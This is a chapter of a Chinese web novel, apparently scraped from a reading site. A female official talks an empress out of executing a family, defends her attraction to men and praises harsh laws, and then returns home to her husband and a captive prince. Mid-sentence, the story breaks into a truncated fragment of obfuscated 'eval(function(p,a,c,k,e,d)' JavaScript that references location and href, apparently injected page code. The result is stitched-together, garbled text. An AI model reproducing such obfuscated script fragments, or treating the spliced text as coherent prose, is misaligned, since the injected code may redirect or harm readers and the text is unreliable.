凉拌姜丝 作品
95. 刺杀
“绝无二心?那你为什么要跪在这儿为这些犯人求情?”
燕阳忽然拔高音量道:“夏清宁,你应该知道的,我平生最恨的就是男人,以及为男人说话的女人,不要再挑战我对你的耐心,我的容忍是有底线的。”
夏清宁俯下身道:“可陛下,他们并非逃犯。”
燕阳眯起眼看着夏清宁道:“你想说什么?”
“他们并非逃犯,陛下当初只是将为首的几人连坐,许家并未被判流放。”
燕阳冷笑道:“那便今日判他许家众人斩首。”
夏清宁深叹了口气抬头道:“陛下。”
燕阳看着夏清宁良久没有说话,半响才挥退众人,等人走后干脆一屁股坐在夏清宁身边。
“说。”
夏清宁起身去拿了两个软垫递给燕阳,燕阳将软垫接过到底还是给了夏清宁一个。
两人席地而坐,夏清宁才看着燕阳道:“我知道你心里不舒服,觉得我现在是被男人迷了心智,忘了发心。”
燕阳挑眉道:“难道不是?”
夏清宁摇头道:“苦难无法对比,我也知道你为什么痛恨他们,换我是你怕是早将这世上的男人杀光了。”
燕阳从冷哼出声:“既然这样为什么要拦着?”
“因为色欲熏心。”
燕阳渐渐睁大眸子,随后怒道:“你还说你没有!”
夏清宁伸手制住了燕阳即将到来的怒火:“你先听我说完。”
“我承认,同一屋檐下又是我喜欢的类型,说一点心动都没有的确不可能,可说是色欲熏心但我却觉得这只是一种情感需求。”
见燕阳还是一副不太高兴的神情,夏清宁又继续道:“在我看来人生的厚度不取决于生命的长短,而是在于构成人生的故事和经历,亲情、友情、爱情,不论任何人心中它们的地位如何排序又或是同等重要,爱都是永恒的课题。”
见身边人终于露出些动容,夏清宁才轻笑道:“我喜欢女性的温和、细致,在她们身上我总能感受到神性,相较而言男人的确动物性更强,可是怎么办,我生理上就是很难对女性产生爱情。”
“人并不一定都需要爱情,好的亲情和友情或许都能填补爱情的空缺,但你不能要求所有人都对爱情没有一丝向往,起码我就很难做到,人生很短,我就是想体验,你不能以此来衡量我生命的高度。”
燕阳神色松了松:“我不是说所有追求爱情的都是蠢货,我只是怕她们会受到伤害,我想尽可能的保护她们不受伤也有错吗?”
“一点错都没有。”
夏清宁笑着看向燕阳。
“我或许还没从没和你说过,就是因为有你这样一直不停维护女性权益的当权者出现,才会让我更加勇敢的去追求其他可能。”
看着夏清宁的笑,燕阳心里某处忽然有些松动,却还是道:“要是受到伤害了呢?”
夏清宁将自己的袖子递到燕阳手心道:“摸摸看。”
虽然觉得奇怪但燕阳却还是照做了。
“感觉到什么没有?”
燕阳皱眉道:“料子不错?”
夏清宁这才笑道:“可不是不错,我这料子五十两一匹,放心,不是贪污受贿得来的。”
燕阳没好气的拍了她一下:“我知道。”
“我的意思是,当你有了绝对的实力之后就有了对人生的掌控权,虽然仍然不能避免被伤害,但你拥有保护自己的力量和摆脱控制的强大的精神内核。”
燕阳皱眉看着夏清宁道:“但要是身体上的伤害呢?谁来保护她们的身体。”
“你。”
夏清宁这次终于认真且严肃的看着燕阳道:“严苛的律法和不容置疑的刑罚,只有真正威胁到他们的生命,他们才会知道怕,才会知道他人的生命安全神圣不可侵犯。”
“有荒唐的观点说,严苛的律法会让暴徒铤而走险,但除了疯子谁会在毫无利益的情况下拿自己的生命冒险,毫无成本或者微末的成本只会让他们变本加厉,甚至幻想自己是一名勇士。”
“人人都说,当生命受到威胁时,求饶绝不会是一条路,但我觉得能说出这话的人,要不是还没遇到过这种危急时刻,要不就是一直叛逆经常打架的人,可世界上最多的是普通人,被打的第一时间哪怕还手也得是呆愣很久才反应的过来,而错过的往往也是能救自己的最佳时间。”
夏清宁深吸了一口气才继续道。
“我们不能什么都不做,只是事后问当事人或是对当事人感慨,‘你应该还手啊!’、‘要是我,我肯定如何如何’,但其实大部分人都无法在第一时间挥出拳头,即便是挥出去了也未必打得过,还有可能成为对面减刑的证据,对此又要有人说‘她就不该还手’、‘要是我,我就不还手,我让他倾家荡产,或者如何如何’。”
看着燕阳眼底隐有水光,夏清宁才又靠近了些将肩膀靠在身边人肩膀上道:“像我,第一次和人打起来就是在没人的小巷子,愣是让人打掉了一颗牙才反应过来,好在第二天我专程找到那人给了他一闷棍,虽然为这件事丢了那份工作,但是心里那是真爽啊。”
夏清宁撞了撞燕阳的肩膀,用手摸了摸她的袖子道:“你这料子也不赖嘛,陛下?”
燕阳终于扯出一抹笑来,夏清宁干脆又靠近了些,将腿也挨上去道:“不过说真的,你颁的有些法案是真漂亮,比如那个,未经女子同意发生关系的处阉割,还有那个……”
两人抵足而眠聊了一夜,直到第二日上完早朝夏清宁才回的家。
“妻主。”
看着眼前人眼下乌青就知道他前一天应该是担心的一夜没睡,夏清宁存心让他长长记性便深深叹了口气。
“是陛下说了什么?是怪罪妻主了吗?我们接下来怎么办?不然妻主先将我交出去吧,就算那人是冲你来的也先过了眼下这一关吧。”
见江容恬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15090096|162543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
额角细密的汗夏清宁又有些不忍心,只能先抬手用手帕拭了下眼前人额角的汗:“你先别急,我还什么都没说呢。”
江容恬抿唇伸手牵过夏清宁的手眼里都是担忧,夏清宁也没了逗弄的心思,只忙道:“陛下不会追究了。”
将人按在椅子里夏清宁才解释道:“陛下并不是完全讲不通道理的人,既然陛下是开国之君就一定有她本身让人信服的存在。”
见江容恬点头,夏清宁才道:“既然陛下一开始就没有追究你们的责任,那如今能说通也并不是难事,反倒是你,你母亲……你真的不怨她吗?”
江容恬叹了口气看着夏清宁的眼睛老实道:“说不怨是假的,可母亲临走前曾对我说过,她做这事自始至终都没有后悔过,只是觉得愧对家人。”
“母亲说,陛下同她一样即便百年之后也不会后悔她做的决定,她们只是政见不合,但同时又都是会为自己坚守的东西去付出一切的人,不过理念不合,并非因仇怨,君子死节,无需为她不平。”
“你母亲,令人敬佩。”夏清宁轻声道。
江容恬只是抬头郑重的看着她:“妻主同样让人敬佩,我曾觉得能做母亲的孩子已经是此生最幸运的事,如今遇见妻主是真的觉得我的人生所有的运气怕是都用来遇见母亲和妻主了。”
夏清宁笑笑道:“那作为你的另一半幸运是不是可以吃饭了?”
江容恬一愣,这才拉着夏清宁的手往前厅走。
“怎么来的这么慢。”男人坐在位置上皱眉看着两人,因为夏清宁没到而空置的饭桌直到两人入内时才被摆满。
“你现在的处境能有一口饭吃已经是来之不易了,居然还提上条件了?”
俞佑阳不答,只是上下打量了阵夏清宁道:“真是没想到你还能回来。”
夏清宁拉着江容恬坐下道:“托你的福,还能蹦跶。”
俞佑阳皱眉道:“托我什么福?”
夏清宁不答,只是先给俞佑阳夹了菜:“吃菜。”
这下俞佑阳更是坐不住了,干脆将筷子一放:“你什么意思,说清楚。”
半响等不到回话,俞佑阳才怒道:“不可能,不可能是因为我。”
夏清宁闻言头都没抬只道:“怎么不可能。”
只是这次那人却不再开口了。
“可惜,被发现了。”
江容恬将刚刚夏清宁夹给对面的那盘菜十分利索的撤回两人中间,自己夹了一口又夹了一块给夏清宁才道:“没事暴露不少了。”
“你们!”
俞佑阳怒声道,却到底没敢再做什么。
夏清宁吃的差不多了才抬头道:“最近这些天下来我始终没想通你母皇派你来的意义。”
“你性格不好,脑子不好,除了长相我真是找不出一点优点,一开始说是和亲可没来之前就在做我们陛下最厌恶的事,宴席上还想着刺杀重臣和皇帝,说真的,你们不会是让你家大姐给坑了吧。”